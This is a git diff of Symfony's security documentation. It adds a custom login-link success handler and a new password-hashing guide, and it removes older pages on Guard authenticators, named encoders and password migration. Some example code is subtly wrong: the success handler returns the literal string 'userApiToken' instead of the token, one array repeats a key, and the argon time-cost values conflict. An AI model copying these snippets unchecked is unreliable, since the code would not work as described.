@@ -654,3 +669,138 @@ user create this POST request (e.g. by clicking a button)::
             <button type="submit">Continue</button>
         </form>
     {% endblock %}
+
+Customizing the Success Handler
+-------------------------------
+
+Sometimes, the default success handling does not fit your use-case (e.g.
+when you need to generate and return an API key). To customize how the
+success handler behaves, create your own handler as a class that implements
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
+
+    // src/Security/Authentication/AuthenticationSuccessHandler.php
+    namespace App\Security\Authentication;
+
+    use Symfony\Component\HttpFoundation\JsonResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface;
+
+    class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface
+    {
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
+        {
+            $user = $token->getUser();
+            $userApiToken = $user->getApiToken();
+
+            return new JsonResponse(['apiToken' => 'userApiToken']);
+        }
+    }
+
+Then, configure this service ID as the ``success_handler``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    login_link:
+                        check_route: login_check
+                        lifetime: 600
+                        max_uses: 1
+                        success_handler: App\Security\Authentication\AuthenticationSuccessHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <login-link check-route="login_check"
+                        check-post-only="true"
+                        max-uses="1"
+                        lifetime="600"
+                        success-handler="App\Security\Authentication\AuthenticationSuccessHandler"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\Authentication\AuthenticationSuccessHandler;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->lifetime(600)
+                    ->maxUses(1)
+                    ->successHandler(AuthenticationSuccessHandler::class)
+            ;
+        };
+
+.. tip::
+
+    If you want to customize the default failure handling, use the
+    ``failure_handler`` option and create a class that implements
+    :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
+
+Customizing the Login Link
+--------------------------
+
+.. versionadded:: 5.3
+
+    The possibility to customize the login link was introduced in Symfony 5.3.
+
+The ``createLoginLink()`` method accepts a second optional argument to pass the
+``Request`` object used when generating the login link. This allows to customize
+features such as the locale used to generate the link::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller;
+
+    // ...
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface;
+
+    class SecurityController extends AbstractController
+    {
+        /**
+         * @Route("/login", name="login")
+         */
+        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request)
+        {
+            // check if login form is submitted
+            if ($request->isMethod('POST')) {
+                // ... load the user in some way
+
+                // clone and customize Request
+                $userRequest = clone $request;
+                $userRequest->setLocale($user->getLocale() ?? $request->getDefaultLocale());
+
+                // create a login link for $user (this returns an instance of LoginLinkDetails)
+                $loginLinkDetails = $loginLinkHandler->createLoginLink($user, $userRequest);
+                $loginLink = $loginLinkDetails->getUrl();
+
+                // ...
+            }
+
+            return $this->render('security/login.html.twig');
+        }
+
+        // ...
+    }
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
deleted file mode 100644
index b6ea9ca5f11..00000000000
--- a/security/multiple_guard_authenticators.rst
+++ /dev/null
@@ -1,181 +0,0 @@
-How to Use Multiple Guard Authenticators
-========================================
-
-The Guard authentication component allows you to use many different
-authenticators at a time.
-
-An entry point is a service id (of one of your authenticators) whose
-``start()`` method is called to start the authentication process.
-
-Multiple Authenticators with Shared Entry Point
------------------------------------------------
-
-Sometimes you want to offer your users different authentication mechanisms like
-a form login and a Facebook login while both entry points redirect the user to
-the same login page.
-However, in your configuration you have to explicitly say which entry point
-you want to use.
-
-This is how your security configuration can look in action:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                            - App\Security\FacebookConnectAuthenticator
-                        entry_point: App\Security\LoginFormAuthenticator
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard entry-point="App\Security\LoginFormAuthenticator">
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                        <authenticator>App\Security\FacebookConnectAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\FacebookConnectAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'default' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'guard' => [
-                        'entry_point' => LoginFormAuthenticator::class,
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                            FacebookConnectAuthenticator::class,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
-
-There is one limitation with this approach - you have to use exactly one entry point.
-
-Multiple Authenticators with Separate Entry Points
---------------------------------------------------
-
-However, there are use cases where you have authenticators that protect different
-parts of your application. For example, you have a login form that protects
-the secured area of your application front-end and API end points that are
-protected with API tokens. As you can only configure one entry point per firewall,
-the solution is to split the configuration into two separate firewalls:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                api:
-                    pattern: ^/api/
-                    guard:
-                        authenticators:
-                            - App\Security\ApiTokenAuthenticator
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-            access_control:
-                - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY }
-                - { path: '^/api', roles: ROLE_API_USER }
-                - { path: '^/', roles: ROLE_USER }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="api" pattern="^/api/">
-                    <guard>
-                        <authenticator>App\Security\ApiTokenAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard>
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <rule path="^/login" role="IS_AUTHENTICATED_ANONYMOUSLY"/>
-                <rule path="^/api" role="ROLE_API_USER"/>
-                <rule path="^/" role="ROLE_USER"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\ApiTokenAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'api' => [
-                    'pattern' => '^/api',
-                    'guard' => [
-                        'authenticators' => [
-                            ApiTokenAuthenticator::class,
-                        ],
-                    ],
-                ],
-                'default' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'guard' => [
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                        ],
-                    ],
-                ],
-            ],
-            'access_control' => [
-                ['path' => '^/login', 'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY'],
-                ['path' => '^/api', 'roles' => 'ROLE_API_USER'],
-                ['path' => '^/', 'roles' => 'ROLE_USER'],
-            ],
-        ]);
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
deleted file mode 100644
index 29ca8c278d7..00000000000
--- a/security/named_encoders.rst
+++ /dev/null
@@ -1,195 +0,0 @@
-.. index::
-    single: Security; Named Encoders
-
-How to Use A Different Password Encoder Algorithm Per User
-==========================================================
-
-Usually, the same password encoder is used for all users by configuring it
-to apply to all instances of a specific class:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            encoders:
-                App\Entity\User:
-                    algorithm: auto
-                    cost: 12
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-            <config>
-                <!-- ... -->
-                <encoder class="App\Entity\User"
-                    algorithm="auto"
-                    cost=12
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost' => 12,
-                ],
-            ],
-        ]);
-
-Another option is to use a "named" encoder and then select which encoder
-you want to use dynamically.
-
-In the previous example, you've set the ``auto`` algorithm for ``App\Entity\User``.
-This may be secure enough for a regular user, but what if you want your admins
-to have a stronger algorithm, for example ``auto`` with a higher cost. This can
-be done with named encoders:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            encoders:
-                harsh:
-                    algorithm: auto
-                    cost: 15
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-
-            <config>
-                <!-- ... -->
-                <encoder class="harsh"
-                    algorithm="auto"
-                    cost="15"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                'harsh' => [
-                    'algorithm' => 'auto',
-                    'cost'      => '15',
-                ],
-            ],
-        ]);
-
-.. note::
-
-    If you are running PHP 7.2+ or have the `libsodium`_ extension installed,
-    then the recommended hashing algorithm to use is
-    :ref:`Sodium <reference-security-sodium>`.
-
-This creates an encoder named ``harsh``. In order for a ``User`` instance
-to use it, the class must implement
-:class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderAwareInterface`.
-The interface requires one method - ``getEncoderName()`` - which should return
-the name of the encoder to use::
-
-    // src/Entity/User.php
-    namespace App\Entity;
-
-    use Symfony\Component\Security\Core\Encoder\EncoderAwareInterface;
-    use Symfony\Component\Security\Core\User\UserInterface;
-
-    class User implements UserInterface, EncoderAwareInterface
-    {
-        public function getEncoderName()
-        {
-            if ($this->isAdmin()) {
-                return 'harsh';
-            }
-
-            return null; // use the default encoder
-        }
-    }
-
-If you created your own password encoder implementing the
-:class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`,
-you must register a service for it in order to use it as a named encoder:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            encoders:
-                app_encoder:
-                    id: 'App\Security\Encoder\MyCustomPasswordEncoder'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-
-            <config>
-                <!-- ... -->
-                <encoder class="app_encoder"
-                    id="App\Security\Encoder\MyCustomPasswordEncoder"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        // ...
-        use App\Security\Encoder\MyCustomPasswordEncoder;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                'app_encoder' => [
-                    'id' => MyCustomPasswordEncoder::class,
-                ],
-            ],
-        ]);
-
-This creates an encoder named ``app_encoder`` from a service with the ID
-``App\Security\Encoder\MyCustomPasswordEncoder``.
-
-.. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/security/password_migration.rst b/security/password_migration.rst
deleted file mode 100644
index 2bdd6c83b95..00000000000
--- a/security/password_migration.rst
+++ /dev/null
@@ -1,248 +0,0 @@
-.. index::
-    single: Security; How to Migrate a Password Hash
-
-How to Migrate a Password Hash
-==============================
-
-In order to protect passwords, it is recommended to store them using the latest
-hash algorithms. This means that if a better hash algorithm is supported on your
-system, the user's password should be *rehashed* using the newer algorithm and
-stored. That's possible with the ``migrate_from`` option:
-
-#. `Configure a new Encoder Using "migrate_from"`_
-#. `Upgrade the Password`_
-#. Optionally, `Trigger Password Migration From a Custom Encoder`_
-
-Configure a new Encoder Using "migrate_from"
-----------------------------------------------
-
-When a better hashing algorithm becomes available, you should keep the existing
-encoder(s), rename it, and then define the new one. Set the ``migrate_from`` option
-on the new encoder to point to the old, legacy encoder(s):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            encoders:
-                # an encoder used in the past for some users
-                legacy:
-                    algorithm: sha256
-                    encode_as_base64: false
-                    iterations: 1
-
-                App\Entity\User:
-                    # the new encoder, along with its options
-                    algorithm: sodium
-                    migrate_from:
-                        - bcrypt # uses the "bcrypt" encoder with the default options
-                        - legacy # uses the "legacy" encoder configured above
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:security="http://symfony.com/schema/dic/security"
-            xsi:schemaLocation="http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <security:config>
-                <!-- ... -->
-
-                <security:encoder class="legacy"
-                    algorithm="sha256"
-                    encode-as-base64="false"
-                    iterations="1"
-                />
-
-                <!-- algorithm: the new encoder, along with its options -->
-                <security:encoder class="App\Entity\User"
-                    algorithm="sodium"
-                >
-                    <!-- uses the bcrypt encoder with the default options -->
-                    <security:migrate-from>bcrypt</security:migrate-from>
-
-                    <!-- uses the legacy encoder configured above -->
-                    <security:migrate-from>legacy</security:migrate-from>
-                </security:encoder>
-            </security:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'encoders' => [
-                'legacy' => [
-                    'algorithm' => 'sha256',
-                    'encode_as_base64' => false,
-                    'iterations' => 1,
-                ],
-
-                'App\Entity\User' => [
-                    // the new encoder, along with its options
-                    'algorithm' => 'sodium',
-                    'migrate_from' => [
-                        'bcrypt', // uses the "bcrypt" encoder with the default options
-                        'legacy', // uses the "legacy" encoder configured above
-                    ],
-                ],
-            ],
-        ]);
-
-With this setup:
-
-* New users will be encoded with the new algorithm;
-* Whenever a user logs in whose password is still stored using the old algorithm,
-  Symfony will verify the password with the old algorithm and then rehash
-  and update the password using the new algorithm.
-
-.. tip::
-
-    The *auto*, *native*, *bcrypt* and *argon* encoders automatically enable
-    password migration using the following list of ``migrate_from`` algorithms:
-
-    #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
-    #. Message digest (which uses :phpfunction:`hash`)
-
-    Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
-    use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
-    encoder is used.
-
-Upgrade the Password
---------------------
-
-Upon successful login, the Security system checks whether a better algorithm
-is available to hash the user's password. If it is, it'll hash the correct
-password using the new hash. If you use a Guard authenticator, you first need to
-:ref:`provide the original password to the Security system <provide-the-password-guard>`.
-
-You can enable the upgrade behavior by implementing how this newly hashed
-password should be stored:
-
-* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
-* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
-
-After this, you're done and passwords are always hashed as secure as possible!
-
-.. _provide-the-password-guard:
-
-Provide the Password when using Guard
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When you're using a custom :doc:`guard authenticator </security/guard_authentication>`,
-you need to implement :class:`Symfony\\Component\\Security\\Guard\\PasswordAuthenticatedInterface`.
-This interface defines a ``getPassword()`` method that returns the password
-for this login request. This password is used in the migration process::
-
-    // src/Security/CustomAuthenticator.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
-    // ...
-
-    class CustomAuthenticator extends AbstractGuardAuthenticator implements PasswordAuthenticatedInterface
-    {
-        // ...
-
-        public function getPassword($credentials): ?string
-        {
-            return $credentials['password'];
-        }
-    }
-
-.. _upgrade-the-password-doctrine:
-
-Upgrade the Password when using Doctrine
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using the :ref:`entity user provider <security-entity-user-provider>`, implement
-:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
-the ``UserRepository`` (see `the Doctrine docs for information`_ on how to
-create this class if it's not already created). This interface implements
-storing the newly created password hash::
-
-    // src/Repository/UserRepository.php
-    namespace App\Repository;
-
-    // ...
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-
-    class UserRepository extends EntityRepository implements PasswordUpgraderInterface
-    {
-        // ...
-
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
-        {
-            // set the new encoded password on the User object
-            $user->setPassword($newEncodedPassword);
-
-            // execute the queries on the database
-            $this->getEntityManager()->flush();
-        }
-    }
-
-.. _upgrade-the-password-custom-provider:
-
-Upgrade the Password when using a Custom User Provider
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you're using a :ref:`custom user provider <custom-user-provider>`, implement the
-:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
-the user provider::
-
-    // src/Security/UserProvider.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-
-    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
-    {
-        // ...
-
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
-        {
-            // set the new encoded password on the User object
-            $user->setPassword($newEncodedPassword);
-
-            // ... store the new password
-        }
-    }
-
-Trigger Password Migration From a Custom Encoder
-------------------------------------------------
-
-If you're using a custom password encoder, you can trigger the password
-migration by returning ``true`` in the ``needsRehash()`` method::
-
-    // src/Security/CustomPasswordEncoder.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\Security\Core\Encoder\PasswordEncoderInterface;
-
-    class CustomPasswordEncoder implements PasswordEncoderInterface
-    {
-        // ...
-
-        public function needsRehash(string $encoded): bool
-        {
-            // check whether the current password is hash using an outdated encoder
-            $hashIsOutdated = ...;
-
-            return $hashIsOutdated;
-        }
-    }
-
-.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
diff --git a/security/passwords.rst b/security/passwords.rst
new file mode 100644
index 00000000000..521be799277
--- /dev/null
+++ b/security/passwords.rst
@@ -0,0 +1,782 @@
+Password Hashing and Verification
+=================================
+
+Most applications use passwords to login users. These passwords should be
+hashed to securely store them. Symfony's PasswordHasher component provides
+all utilities to safely hash and verify passwords.
+
+Make sure it is installed by running:
+
+.. code-block:: terminal
+
+   $ composer require symfony/password-hasher
+
+.. versionadded:: 5.3
+
+   The PasswordHasher component was introduced in 5.3. Prior to this
+   version, password hashing functionality was provided by the Security
+   component.
+
+Configuring a Password Hasher
+-----------------------------
+
+Before hashing passwords, you must configure a hasher using the
+``password_hashers`` option. You must configure the *hashing algorithm* and
+optionally some *algorithm options*:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            password_hashers:
+                # auto hasher with default options for the User class (and children)
+                App\Entity\User: 'auto'
+
+                # auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+                Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface:
+                    algorithm: 'auto'
+                    cost:      15
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <!-- auto hasher with default options for the User class (and children) -->
+                <security:password-hasher
+                    class="App\Entity\User"
+                    algorithm="auto"
+                />
+
+                <!-- auto hasher with custom options for all PasswordAuthenticatedUserInterface instances -->
+                <security:password-hasher
+                    class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface"
+                    algorithm="auto"
+                    cost="15"
+                />
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            // auto hasher with default options for the User class (and children)
+            $security->passwordHasher(User::class)
+                ->algorithm('auto');
+
+            // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+            $security->passwordHasher(PasswordAuthenticatedUserInterface::class)
+                ->algorithm('auto')
+                ->cost(15);
+        };
+
+    .. code-block:: php-standalone
+
+        use App\Entity\User;
+        use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+
+        $passwordHasherFactory = new PasswordHasherFactory([
+            // auto hasher with default options for the User class (and children)
+            User::class => ['algorithm' => 'auto'],
+
+            // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+            User::class => [
+                'algorithm' => 'auto',
+                'cost' => 15,
+            ],
+        ]);
+
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
+In this example, the "auto" algorithm is used. This hasher automatically
+selects the most secure algorithm available on your system. Combined with
+:ref:`password migration <security-password-migration>`, this allows you to
+always secure passwords in the safest way possible (even when new
+algorithms are introduced in future PHP releases).
+
+Further in this article, you can find a
+:ref:`full reference of all supported algorithms <passwordhasher-supported-algorithms>`.
+
+.. tip::
+
+    Hashing passwords is resource intensive and takes time in order to
+    generate secure password hashes. In general, this makes your password
+    hashing more secure.
+
+    In tests however, secure hashes are not important, so you can change
+    the password hasher configuration in ``test`` environment to run tests
+    faster:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/test/security.yaml
+            password_hashers:
+                # Use your user class name here
+                App\Entity\User:
+                    algorithm: plaintext # disable hashing (only do this in tests!)
+
+                # or use the lowest possible values
+                App\Entity\User:
+                    algorithm: auto # This should be the same value as in config/packages/security.yaml
+                    cost: 4 # Lowest possible value for bcrypt
+                    time_cost: 3 # Lowest possible value for argon
+                    memory_cost: 10 # Lowest possible value for argon
+
+        .. code-block:: xml
+
+            <!-- config/packages/test/security.xml -->
+            <?xml version="1.0" encoding="UTF-8"?>
+            <srv:container xmlns="http://symfony.com/schema/dic/security"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:srv="http://symfony.com/schema/dic/services"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <config>
+                    <!-- class: Use your user class name here -->
+                    <!-- algorithm: disable hashing (only do this in tests!) -->
+                    <security:password-hasher
+                        class="App\Entity\User"
+                        algorithm="plaintext"
+                    />
+
+                    <!-- or use the lowest possible values -->
+                    <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
+                    <!-- cost: Lowest possible value for bcrypt -->
+                    <!-- time_cost: Lowest possible value for argon -->
+                    <!-- memory_cost: Lowest possible value for argon -->
+                    <security:password-hasher
+                        class="App\Entity\User"
+                        algorithm="auto"
+                        cost="4"
+                        time_cost="3"
+                        memory_cost="10"
+                    />
+                </config>
+            </srv:container>
+
+        .. code-block:: php
+
+            // config/packages/test/security.php
+            use App\Entity\User;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ...
+
+                // Use your user class name here
+                $security->passwordHasher(User::class)
+                    ->algorithm('plaintext'); // disable hashing (only do this in tests!)
+
+                // or use the lowest possible values
+                $security->passwordHasher(User::class)
+                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
+                    ->cost(4) // Lowest possible value for bcrypt
+                    ->timeCost(2) // Lowest possible value for argon
+                    ->memoryCost(10) // Lowest possible value for argon
+                ;
+            };
+
+Hashing the Password
+--------------------
+
+After configuring the correct algorithm, you can use the
+``UserPasswordHasherInterface`` to hash and verify the passwords:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // src/Controller/RegistrationController.php
+        namespace App\Controller;
+
+        // ...
+        use
+        Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
+        use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+        class UserController extends AbstractController
+        {
+            public function registration(UserPasswordHasherInterface $passwordHasher)
+            {
+                // ... e.g. get the user data from a registration form
+                $user = new User(...);
+                $plaintextPassword = ...;
+
+                // hash the password (based on the security.yaml config for the $user class)
+                $hashedPassword = $passwordHasher->hashPassword(
+                    $user,
+                    $plaintextPassword
+                );
+                $user->setPassword($hashedPassword);
+
+                // ...
+            }
+
+            public function delete(UserPasswordHasherInterface $passwordHasher, UserInterface $user)
+            {
+                // ... e.g. get the password from a "confirm deletion" dialog
+                $plaintextPassword = ...;
+
+                if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) {
+                    throw new AccessDeniedHttpException();
+                }
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        // ...
+        $passwordHasher = new UserPasswordHasher($passwordHasherFactory);
+
+        // Get the user password (e.g. from a registration form)
+        $user = new User(...);
+        $plaintextPassword = ...;
+
+        // hash the password (based on the password hasher factory config for the $user class)
+        $hashedPassword = $passwordHasher->hashPassword(
+            $user,
+            $plaintextPassword
+        );
+        $user->setPassword($hashedPassword);
+
+        // In another action (e.g. to confirm deletion), you can verify the password
+        $plaintextPassword = ...;
+        if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) {
+            throw new \Exception('Bad credentials, cannot delete this user.');
+        }
+
+Reset Password
+--------------
+
+Using `MakerBundle`_ and `SymfonyCastsResetPasswordBundle`_, you can create
+a secure out of the box solution to handle forgotten passwords. First,
+install the SymfonyCastsResetPasswordBundle:
+
+.. code-block:: terminal
+
+    $ composer require symfonycasts/reset-password-bundle
+
+Then, use the ``make:reset-password`` command. This asks you a few
+questions about your app and generates all the files you need! After,
+you'll see a success message and a list of any other steps you need to do.
+
+.. code-block:: terminal
+
+    $ php bin/console make:reset-password
+
+You can customize the reset password bundle's behavior by updating the
+``reset_password.yaml`` file. For more information on the configuration,
+check out the `SymfonyCastsResetPasswordBundle`_  guide.
+
+.. _security-password-migration:
+
+Password Migration
+------------------
+
+In order to protect passwords, it is recommended to store them using the latest
+hash algorithms. This means that if a better hash algorithm is supported on your
+system, the user's password should be *rehashed* using the newer algorithm and
+stored. That's possible with the ``migrate_from`` option:
+
+#. `Configure a new Hasher Using "migrate_from"`_
+#. `Upgrade the Password`_
+#. Optionally, `Trigger Password Migration From a Custom Hasher`_
+
+Configure a new Hasher Using "migrate_from"
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
